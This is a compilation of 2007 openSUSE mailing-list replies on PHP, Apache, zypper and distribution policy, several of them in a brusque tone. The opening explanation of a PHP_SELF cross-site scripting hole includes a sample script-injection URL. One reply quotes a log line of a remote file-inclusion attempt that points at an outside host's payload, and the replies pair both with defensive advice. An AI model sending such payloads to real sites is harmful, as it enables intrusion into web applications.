form method=post action=myscript.php
where myscript.php is the name of the current script in execution.
in this case, the programmer laziness permits and XSS attack.
http://example.com/myscript.php/%22%3E%3Cscript%3Ealert('xss')%3C/script%3E%3Cfoo
as PHP_SELF contains more than the script name, it contains PATH_INFO
and other stuff, if you really only want the script name.. you have to
use $_SERVER['SCRIPT_NAME'];
How is that not an avenue for an injection exploit?
it is, but for XSS.
What is XSS?
XSS == Cross Site Scripting
http://en.wikipedia.org/wiki/Cross_site_scripting
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Re: [opensuse] Apache access log errors - attack?
James D. Parra escribió: Hello, I found these errors in our web logs and it appears that either there is a PHP attack on the apache site or perhaps a kit on the server? Errors below (profanity not mine); 69.94.131.24 - - [02/Apr/2007:09:34:09 -0700] GET /components/com_forum/download.php?phpbb_root_path=http://203.198.68.236/~li sir/M.txt?/ HTTP/1.1 404 1046 - Morfeus Fucking Scanner Remote code execution attack to some PHPbb mods, the other ones attempted to exploit holes in applications liek mambo CMS that has code affected by $GLOBAL overwrite PHP vulnerability http://www.hardened-php.net/advisory_202005.79.html signature.asc Description: OpenPGP digital signature
Re: [opensuse] Apache access log errors - attack?
James D. Parra escribió: It doesn't appear that the system was compromised. It might not apeear..that0's the problem :P How can I protect the system from such an attack? security is a complex topic, there is no magic pill. You can be protected in several ways. 1. first and more importantly ,keep the Web applications you use up to date. 2. remember to remove code that you dont currenlty use. 3. install php5-suhosin available from the server:php repo. this extension will efectivalle stop several attacks against poorly written PHP apps. 4. do not allow apache access to outside your network. 5. Upgrade you distribution or install newer PHP versions. signature.asc Description: OpenPGP digital signature
Re: [opensuse] upgrading php5 on Suse 10.0
James D. Parra escribió: Hello, Currently running php5 5.0.4 on Suse 10.0 server and I'd like to upgrade to php5.2.x. I have the tarball file, but I see that there is an rmp for Suse 10.2 at; ftp://ftp.univie.ac.at/systems/linux/suse/update/10.2/rpm/i586/php5-fastcgi- 5.2.0-12.i586.rpm thta is not going to work at all ;) What is the best way to get PHP5 upgraded without breaking Apache or anything else on the system? the best way is you use the packages from the server:php repository.. addd this repository to yast http://ftp-1.gwdg.de/pub/opensuse/repositories/server:/php/SUSE_Linux_10.0 in the console, as root remove all php5 packages (rpm -e `rpm -qa | grep php5`) then open yast and install apache2-mod_php5 package plus php5-ctype php5-dom php5-iconv php5-mbstring php5-gd and if you use mysql.. php5-mysql. ps: next time upgrade the complete distribution as 10.0 is going out of support in Oct 2007 or so.. signature.asc Description: OpenPGP digital signature
Re: [opensuse] php5 modules and Apache on Suse 10
James D. Parra escribió:
Hello,
I have two servers, each with Suse 10 installed, running apache with PHP5.
One server, when you view the phpinfo generated web page shows all of the
modules that are installed;
The other server does not show any of the modules in the phpinfo generated
web page, although yast on both machines shows that all of the php5 modules
are installed. What is happening and any ideas on how to fix this?
check you extension_dir PHP directive in /etc/php5/apache2/php.ini it
should be set to something like extension_dir=${_libdir}/php5/extensions
where %{_libdir} should be /usr/lib in 32bit system amd /usr/lib64 in 64
bit ones.
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Re: [opensuse-factory] LTSP 5 + openSUSE
David Mayr escribió: I'd really like to work on this, but have no time for it until july because I have to write my diploma thesis. I have some extended experience with LTSP 4.0 up to 4.2. I think it would be very good to have it in openSUSE. It offers many new opportunities by e.g. revitalizing old computers or making school class rooms cheaper and easier to administrate. As I told in Bugzilla, count me in, Im interested on this too, however we need a roadmap to know exactly what needs to be done and the estimated amount of time it will take, signature.asc Description: OpenPGP digital signature
Re: [opensuse] How to check processor is 32 bit or 64 bit ? in suse OS?
Anil Kalasa escribió: Hi, I need an urgent help, how to check weather the processor is 32 bit or 64bit, not the OS. cat /proc/cpuinfo signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] RFC: Topics for 2007-04-19 dist meeting
Andreas Jaeger escribió: I'm under the impression that end users want to know in an easy way why the version update happened - and not only that it happened. 1. for patches this is already done in the patch changelog or in the suse security announce newsletter 2. if you are thinking about an overall opensuse proyect changelog ..well. that can be done asking the mantainers for meaniful. short, revelant and concise changelog **ONCE** just after the feature and version freeze starts, providing this way good information to users without all the permanent hassle for packagers that IMHO makes very lilte sense. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] RFC: Topics for 2007-04-19 dist meeting
Klaus Kaempf escribió: A lot of developers here do this, so its not a technical problem per se. I have been upgrading my factory copy with zypper since early alphas and seems it can manage upgrades preyy much fine except for 1. it is slow ( well, that's a general problem) 2. it emits scary(for users) errors and then seems to try with --nodeps and continue anyway. 3. it emits equally scary invalid object messages (wth means in this context..dunno ;) ) 4. Y and N dialogs are still messed up horrible. 5. it failed to upgrade on the libbz2 split ( as well smart, yast do anyway..;) ) However, the QA and testing effort is quite huge and getting it 'fool proof' might be a huge task. yes, it is probably very, very hard to get right. Until now, we didn't get sufficient customer request for this to justify the effort. I would like to see a) upgrade with zypper b) upgrade with CD fully supported. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] RFC: Topics for 2007-04-19 dist meeting
Andreas Jaeger escribió: 2. it emits scary(for users) errors and then seems to try with --nodeps and continue anyway. Please file a bugreport. filled long way ago, noticed in https://bugzilla.novell.com/show_bug.cgi?id=216042 3. it emits equally scary invalid object messages (wth means in this context..dunno ;) ) Please file a bugreport. idem filled 2006-10-27 https://bugzilla.novell.com/show_bug.cgi?id=216042 4. Y and N dialogs are still messed up horrible. Please file a bugreport. already filled, dont have the bug report number handly atm though. Please report any problems with zypper, doh.:) that's what im doing all the time :-) it should really become a good it is already good but slow and have some glitches and bad error messages, but it fully functional. ;-) tool that does not scare anyone! it dont scare me :-) but some users has asked me WTF is this, hence we have a problem ;-) signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] Announcement: Software management for openSUSE
Andreas Jaeger escribió: . ZENworks components are fully available and supported for SUSE Linux Enterprise based products and not longer part of the openSUSE distribution. Ok. that's good news. :-) now we can focus on a single solution instead of having to provide a large number of instructions depending of $PACKAGEMANAGER the user has. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] Announcement: Software management for openSUSE
Eberhard Moenkeberg escribió: But unfortunately not for SLES - there the hassle has to go on (by order), and that may affect the business part of SUSE/Novell. well.. you probably know what happends to a part of a commercial product if cause to loose money..it becomes either an documented bug or disappears..that pressure is higher than comunnity pressure I guess ;-P Let's hope this shit will turn into gold without help from the community. Not the best chance... It probably has a chance to improve if 1. is not marketed as be integrated with yast ( integration will never work, it hurts so much...) 2. if rug is separated from the zmd daemon (yes,rug is fine IMHO) and ZMD dissapears from the scene. 3. it is fixed to achieve better performance (I guess that requires fixing not only Zenworks but mono and other components) Finally, Im pleased with this announce and invite the rest of the contributors to test zypper and related stuff **madly**. I can now stop bugging people about Zenworks problems and use my time in a more productive and less annoying task. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] RFC: Topics for 2007-04-19 dist meeting
Andreas Jaeger escribió: * log entries in .changes file Just a simple Update to version x.y is not valid in the packages changelog but happens far too often. Goal: present the changes done to packages to users in a good way and use that for e.g. Release Notes. 1. The average user does not read package changelogs at all, probably they only read patches changelog if at all. 2. software provides NEWS and Changelog either included in the package or on the internet by their own. so it is absolutely pointeless to duplicate effort already done. 3. we provides **packages** of certain software, so the package changelog should include changes to the package **itself**. as stated previously there are counteless ways to retrieve software changes.(some poeple is even subscribed to announce lists of several software they use) 4. I have been told this is proposed to make autobuild people 's life easier,I wonder if autobuild people does not have a internet connection or a terminal to look at the NEWS file, the package can contain a link to the changelog. 5. Thsi unnecesarilly clutter changelog files with information that users **wont read**. 6. this cause unnecesarry work for packagers with no gain to users. In short, I would like to know the real rationale beahind this as I currently can see a single reason to do what is proposed. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] YaST message
Sid Boyce escribió: Any clues on how to proceed appreciated. Use yast installation source format not yum/rpm-md as it is currenlty b0rked. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] OpenSuSE Alpha 3 on VMWare
Christoph-Erdmann Pfeiler escribió: Gentle readers, 1. the default setting of VMWare with LSI Logic SCSI adapter failed to detect the hard disk, the alternative BusLogic worked flawlessly, known issue : see https://bugzilla.novell.com/show_bug.cgi?id=263883 2. the default installation with KDE was terminated by an error, which i cannot describe more detailed, because the resulting installation could not be brought up to boot properly (repair didn't provide a bootable installation), this was reliable reproduceable, tried 3 times, root login was impossible (no password set - which genius invented this security feature ?!?), didn't try the rescue system, try to make yast to log to a separate machine during installation, open a bug report with that information. 3. the vim package produced an error during installation, mentioning a skriptlet failing, known issue : see https://bugzilla.novell.com/show_bug.cgi?id=262706 signature.asc Description: OpenPGP digital signature
Re: [opensuse] Can't make postfix to atutenficate to my ISP.
Carlos E. R. escribió: Hi, I can't make postfix to authenticate to my ISP. See the debug log: But what? The other nuisance is that every time I try the email is bounced, instead of retrying later. I have this very same issue, although I have not really checked what Im missing, as Im very lazy on this matter, I just configured it with Yast, but didnt get it to work at all. I'll try again one of these days.. signature.asc Description: OpenPGP digital signature
Re: [opensuse] setting up a server
dwain escribió: So again, what do I need to install besides the basic apache, php5 and mysql to run wordpress? Modules, etc. that I would need. First I advise you against wordpress, try other weblog systems as Serendipity, Habari, b2evolution, LifeType or maybe CMS a like Drupal, FluxCMS..also you can look some non-php based alternatives like mephisto. To setup PHP correctly you just need to install apache2-mod_php5 and some PHP modules,in case they ar not automatically pulled by yast, should be php-ctype php-dom php-iconv php-tokenizer php-suhosin php-mbstring php-gd and if you want mysql support, php-mysql. signature.asc Description: OpenPGP digital signature
Re: [opensuse] setting up a server
Randall R Schulz escribió: On Sunday 15 April 2007 16:13, Cristian Rodriguez R. wrote: ... First I advise you against wordpress, Could you give some reason for this? If you want to find the reason and you know about PHP, look at the code., you will find the answer in front of your eyes and no explanation will be needed. signature.asc Description: OpenPGP digital signature
Re: [opensuse] the new openSUSE kernel and the IDE
Alexey Eremenko escribió: hi all ! Just installed openSUSE 10.3 Alpha3 with the new kernel 2.6.21-rc... The problem is that all my IDE hard disks are displayed as sda... it you stop posting 500 times per second and take some time read the archives and the release notes, you will find that this is the expected behaviuor due to the use of libata by default. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: Please make available a 2 DVD set for openSUSE 10.3
Adam Tauno Williams escribió: Maybe not PCs, but there are 64-bit servers that don't have DVD drives. of course they dont , that's because the sysadmin should not be **that** silly and will install the OS via the network instead of using this non-sense proposal of having yet another DVD, double bandwidth costs, mirror admins annoyed either retiring one ISO of the mirrors or pushing more hardware and bandwidth for it. The proponents of this idea clearly dont have a clue what having yet another DVD in the official media means. this is not your home network, it is the second most popular linux distro out there, is not that easy to scale at this proportions. please use your brain before proposing such ideas. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: Please make available a 2 DVD set for openSUSE 10.3
Alexey Eremenko escribió: and again: If we make the 2 DVDs modular Ok let's see.. Modular how ? in what way ? the current user's needs will still be addressed, The current user needs are already addressed, that's the reaosn why we have a single DVD and CDs. first DVD will contain all the needed things to get you up running. So the first DVD ( as it is now) contains everything to get it up and running and will help you to create either your own local network mirror or a custom DVD ( google for KIWI and RTFM ) The mirrors live up with Debian with their 240+ CDs, so if we add an extra DVD, So if debian does this stupidity means we also should make such non-sense..?? gee Debian shlould not be taked as a model of anything !! argh... Im sorry, but after reading all your argumentation, your idea only looks like a nice way to waste resources and will make SUSE developers to spend time in the wrong task, there are many.many more important things to do. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Making the Yast package-manager faster
Alexey Eremenko escribió: Is there any way to accelerate Yast to approach smart/apt-get times ? Smart is no panacea. it has a large number of problems too. Speeding up yast/zypp is currenlty be worked on by Duncan and the zypp team. see http://en.opensuse.org/Libzypp/Refactoring This changes are supposed to feature in 10.3 though. signature.asc Description: OpenPGP digital signature
[opensuse-factory] error messages of the package manager stack considered harmful
Hi folks: Errors and informative messages that comes from zypp/yast and related stuff are just ..well ..plain horrible..:-( In this mail I attempted to summarize the problems (although there are many more..and are easy to find) the main issue is this stuff is not user friendly and people gets confused... 1. zypper emits this messages when the connection to the server timeouts. Please insert media [sic] [ Curl error (huh ?) http://server... - I **do know** it uses Curl but..is the user supposed to be informed about that too? also I cannot insert media when the repository is an URI, wording is incorrect .. in that case I expect something like cannot access installation source $URI... ( nope, metadata ,resolvable or whatever geeky wording that requires to know what ) the low-level continues with... Error code : Unrecognized error -- oops, error not handled ;P Error message : connect() timed out -- What the $%/%... who else than programmers know what connect() function call means ? humor maybe add to it , if you dont known what connect() or CURL is, install the glibc-devel and curl-devel packages and RTFM /humor 2. probably the most infamous one is thrown when yast or other tools are accessign the zypp database... A ZYpp transaction is already in progress. [.] and then what x_X ? again, I do know what a ZYpp transaction is, but this one is very confuse, it does not tell the user what to do and why is already in progress also, Im not sure if the end user really needs to know what a ZYPP transaction is.. probably soemthing like $SOFTWARENAME is already open and working with the package manager database...[more..] ... 3. zypper is too silent and combined with the slowness it gaves the impression to the user as it were hanging, unfortunately it lacks of some progress dialog and the -v is too verbose.. :-( 4. Some of the Y and N dialogs are awfully broken, in problem number 1 , there is a final retry dialog that appears.. press Y .. it does nothing :) also if you press no..other low-level I/O error messages appear... in other situations if you type other data rather than Y or N it does not recover and hangs foreva... 5. In Yast, when a package is locked and there is a conflict a popup dialog appears telling me in one of its options unlock all resolvables.. geeky wording again :) shouldnt it say unlock all needed packages or something adecuate to a graphical UI designed to be used for people that does not have a **single clue** how Zypp/yast/whatever works internally ? 6. Stuff in zypp the throws exceptions : We all know this is useful for debugging.. but why show it to users ? why not a simple dialog: An error ocurred : (short **clear** message) \n Error details has been written to **/unique/filename/of/the/errormessages-backtrace.txt please open a bug report attaching this file to the report.+(an accept dialog where applicable). In general, everytime you see the errors messages, think does the user will need to visit the wiki or read some manual to understand this ? if the answer is yes, then the error message is bad.;-) There are **many** other examples, this mail only attempts to raise awareness of this general problem. Just my $2 chilean pesos. Cristian. ps: I already filled bug reports about some of this issues but no sign of activity till today. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Does openSUSE loses ClearType functionality due to Novell-Microsoft patent deal ?
M Harris escribió: Please, it is not stupidity, but it might be ignorance--- both I think :-) one hundred zillion people would like to better understand the M$-Novell deal and instead have received double-talk and insults... The way to understand it clearly is : 1. open the novell website in one tab, and the MS site in other 2. read **literally** what the agreement says in both sides, leaving conspirance/paranoictheories out of your mind. 3. after that, get your own opinion based on the written facts ( all the rest is FUD) If Novell wanted to educate (rather than lambast and humiliate) they might do well to improve their communication channels... I agree that Novell should improve his communication abilities with the outside world, and specially with it's own community. Also agree they should not paid for advertisment in a site that is clearly ignoring us. (even before novell/MS deal) and publishing crap that helps to promote FUD about their own products. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: Please make available a 2 DVD set for openSUSE 10.3
Alexey Eremenko escribió: opened a feature-request: Please make available a 2 DVD set for openSUSE 10.3: https://bugzilla.novell.com/show_bug.cgi?id=263606 Distribution is already too big, and if you want all packages, buy the boxed set. otherwise this will only be a non-sense waste of resources. signature.asc Description: OpenPGP digital signature
Re: [opensuse-packaging] [autobuild] Library packaging policy, verify in filelist check
Richard Guenther escribió: On Tue, 3 Apr 2007, Dirk Mueller wrote: On Tuesday, 3. April 2007, Richard Guenther wrote: the filelist check for a better structured verification. Maybe a rpmlint check is better for now. Might be a good idea, except that it is already done: $ grep -rl devel-file-in-non-devel /mounts/dist/data/i386/lint | wc -l 681 Will this stuff feature in the build script at any time soon so the rest of the world can comment and criticize this proposal in a practical hands-on way ?? otherwise asking for feeback is pretty pointless as we can't see how it works nor test it. just my 2 chilean pesos. Cristian. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Does openSUSE loses ClearType functionality due to Novell-Microsoft patent deal ?
Alexey Eremenko escribió: There is a story, which I dislike at all ! link: http://www.osnews.com/story.php/17662/OpenSUSE-Hobbled-by-Microsoft-Patents The articles about this matter are absolutely bullshit and have no relation with reality. All mayor distributions compiles freetype2 without the offending subpixel antialiasing MS patented code, this is nothing new or exclusive to openSUSE. The persons who wrote this kind of crap in slashdot or similar sites has no clue whatosever about the topic and they think the Novell/MS deal means we can start making openSUSE a legal minefield. let make it more clear... 1. MS did **not** (get this into your head once for all damn it !!) granted a patent license to Novell, but protection to **novell 's customers** ( gee.. is **that** hard to understand ?? I wonder..) 2. openSUSE as always (even more now) should be clear of legal problems, this articles are based in the misconception (f.e comments of trolls like Bruce Perens et all) that the novell/MS deal permit us to do whatever we want with the supposed IP of MS. 3. software patents are bad, but they exists, that's the awful truth :-( and we should deal with that in any or other way in the same way the rest of the linux universe does. 4. unfortunately,novell has marked the bug report as Novell-Only, this is of course not open discussion in anyway, but may be better than a bug report filled with a whole bunch of non-sensical comments or assertions. argh, the level of stupidity and ignorance from both writers and readers that believes on this articles is becoming very annoying **sigh**. /me shakes head. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Oh my god, zypper is such a crap!
Jan Tiggy escribió: Cristian Rodriguez R. worte: (zypper is actually a solution for a much worse issue.) And which one would it be? Zypper helps you to escape from the Zenworks problem, it is alternative replacement for rug. There is nothing wrong with rug itself (I think rug is a fine piece of software) but it has one major flaw, it uses the ZMD daemon . The zmd deamon is (in short) an unnecesary layer of complexity that causes more harm than good. Arghh.this has been discussed many, many times (it is becoming annoying) and the issue is mostly settled down in 10.3 where Zenworks is no longer in the default installation. Nowdays, instead of discussing about the problems of zenworks, we should spend our time more productively testing new libzypp and zypper versions. Ahh.. and the plot against unnoficial packages is just your imagination, there is no such thing in the reality.. what did you smoke to imaginate that ?? (just curious :-P ) About your comments of the lack of alternatives ... how this differs with other distributions ? 1. debian : you need to use APT, that is the supported package manager. 2. Fedora/redhat : YUM, any other thing is unnoficial 3. Ubuntu: APT and GUIs using it. So, with openSUSE, the supported way is zypp based tools,currenlty Yast PM GUI, or zypper in the command line. you still can use YUM or smart but that is not the official way. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Oh my god, zypper is such a crap!
Magiclouds Magicloud escribió: It parses everytime! yes, it is bit slow, however your post does not help, if you want to help, test development versions, and open bug reports of the problems you see with suggested solutions, otherwise shut up. ranting about it with no evidence,patches or constructive critism will not solve the problem. (zypper is actually a solution for a much worse issue.) signature.asc Description: OpenPGP digital signature
Re: [opensuse] subversion install (Suse 9.3)
James D. Parra escribió: Thank you for the info. Very useful. ;-) Performed the upgrade, however the repository can't be browsed. browsed with an svn client ? with a web interface ? I assume you : 1. if it is a web client,you have apache installed, you upgraded apache 2. you upgraded subversion , subversion-server and all it's dependencies correctly. I get the following error trying to check out a file. File not found: transaction '653-1', path '/data/svnrepos/web/web_mcr/class/checkbox.php' run svn update in the working copy. if it does not work, then explain your problem better, including the version of the package you installed. signature.asc Description: OpenPGP digital signature
Re: [opensuse] subversion install (Suse 9.3)
James D. Parra escribió: Hello, Installing subversion from source and I was able to find the Berkeley DB files needed to compile (loaded the development package from the DVD), however although Apache2 is installed (from the DVD) I can't locate the apxs files. Any ideas on where I can find the apxs? SUSE 9.3 is soon to be abandoned (apr 30 2007) . you dont really want to run 9.3 as well as you dont really want to compile subversion from source ( asking where apxs is found is clear symptom you dont ;P ) Good news: newer Subversion is available in the buildservice for 9.3. Bad news: It does not compile with apr shipped with 9.3 anymore (too old). so you will need to upgrade apr as well ( and probably apache, PHP and whaetevr else you are using..so you might end upgrading more than you want ;P ) if you want to do this: add the following sources to your package manager http://ftp-1.gwdg.de/pub/opensuse/repositories/Apache/SUSE_Linux_9.3 http://ftp-1.gwdg.de/pub/opensuse/repositories/Subversion/Apache_SuSE_Linux_9.3/ and then upgrade subversion. (note that f.e mod_php will not work anymore and you will need a php upgrade too in that case) Cya. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Novell Client for openSUSE
Pascal Bleser escribió: I think it's a rather ridiculous situation. Yes it is hilariuos ;) this happends not only with Novell Client but with other novell tools. they have builds for other products except openSUSE (It is a real wonder ... ;) ) signature.asc Description: OpenPGP digital signature
Re: [opensuse] Django
M Harris escribió: Which of you is using Django on openSUSE? FYI: djangop is available for openSUSE in the buildservice zypper -v sa http://ftp-1.gwdg.de/pub/opensuse/repositories/devel:/languages:/python/openSUSE_10.2 zypper install python-django signature.asc Description: OpenPGP digital signature
Re: [opensuse] 64bit 10.2
[EMAIL PROTECTED] escribió:
Has anyone had luck on 64 bit 10.2 with the madwifi package?
zypper -v sa http://madwifi.org/suse/10.2
zypper install madwifi madwifi-kmp-`uname -r | awk -F- '{print $3}'`
reconfigure you card with yast , have fun.
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Re: [opensuse] Marvel 88E8053 and SuSE 10.1
Jan Wielemaker escribió: * Upgrade to SuSE 10.2? Yes, and open a bugzilla ticket if can be reproduced with 10.2 with all the info you can retrieve. signature.asc Description: OpenPGP digital signature
Re: [opensuse] How to use USBView on SUSE 10.2
Horky Chen escribió: Dear all, view, but usbview will hang up. Any ideal about it? Yes it is broken, known problem, the current kernel has CONFIG_USB_DEVICEFS disabled and most stuff is using libusb instead, however this breaks not only USBView but also Vmware and other virtualization systems, probably the next kernel update will fix this. signature.asc Description: OpenPGP digital signature
Re: [opensuse] tsclient removed from SuSE?
Zhang Weiwu escribió: I recall that there had been tsclient come with SuSE 9.x. Now I am using SuSE 10.2. I cannot find tsclient in the SuSE standard repository nor in packman. (Can I know why this is removed?) dunno why it it was removed ( probably for a good reason) but if you really need it, you can find it here zypper -v sa http://software.opensuse.org/download/X11:/RemoteDesktop/openSUSE_10.2 zypper install tsclient have fun. signature.asc Description: OpenPGP digital signature
Re: [opensuse-factory] brp scripts in autobuild
[EMAIL PROTECTED] escribió:
Other interesting scripts seem to be applied after the build:
... checking for files with abuild user/group
... testing for empty debuginfo packages
... testing for serious compiler warnings
... checking filelist
... testing for suid/sgid and world writable files
... comparing permissions with standard set (/etc/permissions{,.secure})
... testing for pre/postinstall scripts that break patchrpms
... testing for modified permissions
... testing devel dependencies required by pkgconfig .pc files
... testing devel dependencies required by libtool .la files
Interesting ;) can someone plz add those scripts to build or rpm so we
can benefit too ? ;-)
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Re: (SOLVED) [opensuse-factory] Dependency problem
Anders Norrbring escribió: Anders Norrbring skrev: I don't know where to start looking.. I'm trying to use PHP 5.2.1 from the repositaries, from what repòsitories server:php in the buildservice ? the memcache rpm was expecting php 5.2.0, hehe. checks worked :) currenlty all extensions requires the same PHP version for which they are compiled ( this include extensions dereived form official PHP package as well those that are available in the server:php:extensions repository) I solved it by installing memcache manually via the pecl command. that one is called php5-pecl-memcache and is available in the server:php:extensions project. just make sure you select the correct repository ;P signature.asc Description: OpenPGP digital signature
Re: [opensuse] yast bug?
[EMAIL PROTECTED] escribió: after i click the yast icon then i got messagebox to input root password im sure that my root password input is right but why i always get incorrect password message did you run online update ? there **was** a bug in the yast sudo module that can cause this behaviour, fixed a month ago. signature.asc Description: OpenPGP digital signature
Re: [opensuse] which user runs PHP5 in suse 10.1
vinayan K.P escribió: Hello all, Could someone tell me how to find as which user PHP5 is run in SUSE 10.1. if you are using apache with mod_php5 then the user is wwwrun and the group is www, do not change this unless you know what are you doing. signature.asc Description: OpenPGP digital signature
Re: [opensuse] how to turn on apache2 module rewrite
Patrick Shanahan escribió: How do I turn on rewrite in apache2? a2enmod rewrite the module is loaded, but gallery2 issues a warning for the module and I cannot access any folders by the permalink name. set AllowOverride to All in /etc/apache2/default-server.conf ( mine is near line 26) restart the webserver. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Create another root user
Flextron escribió: Hi list, I need to create a new user so the batch process can be easily recognised, Does anybody know how to create a user that has ALL rights to execute ALL commands ? (using PAM...?) the answer to your question can be obtained with the following commands man sudo man sudoers do not use anything else for that, you have been warned. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: help about php5 and utf8
jdd escribió: is it necessary to install _all_ the php modules? only the modules you need but all of the same version provided in the repository, otherwise, it will not install/work at all. I can't setup the source in yast there because I use 10.1, not 10.2 the same packages are available for 10.1. http://software.opensuse.org/download/server:/php/SUSE_Linux_10.1/ (use your favorite mirror) signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: help about php5 and utf8
jdd escribió: and it works, accents are now here :-) yes, it does ;P Just a word for the archives: the version number of php5 did not change, it **does** change, 10.1 has 5.1.2 and the repository has 5.2.1 !! so the files appeared to be the same I already had. I manually tick reinstall and voilà. that's not quite right it seems. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Dreamhost ?
Greg Freemyer escribió: Has anyone tried anything like this with dreamhost? Yes and they are probably one the best in the mass virtual hosting market. If you have different needs, your next step is probably a VPS. signature.asc Description: OpenPGP digital signature
Re: [opensuse] Re: help about php5 and utf8
jdd escribió: I was said (by Cristian Rodriguez R), that a patch was writen for this accent problem. I just DL with You a bunch of php5 updates, but the bug is still here is there a way to get the patch (even by hand) thanks jdd it is not there, probably will be in the second part of fixes for the Month of PHP bugs. packages with the fix are only available in the buildservice currently. signature.asc Description: OpenPGP digital signature
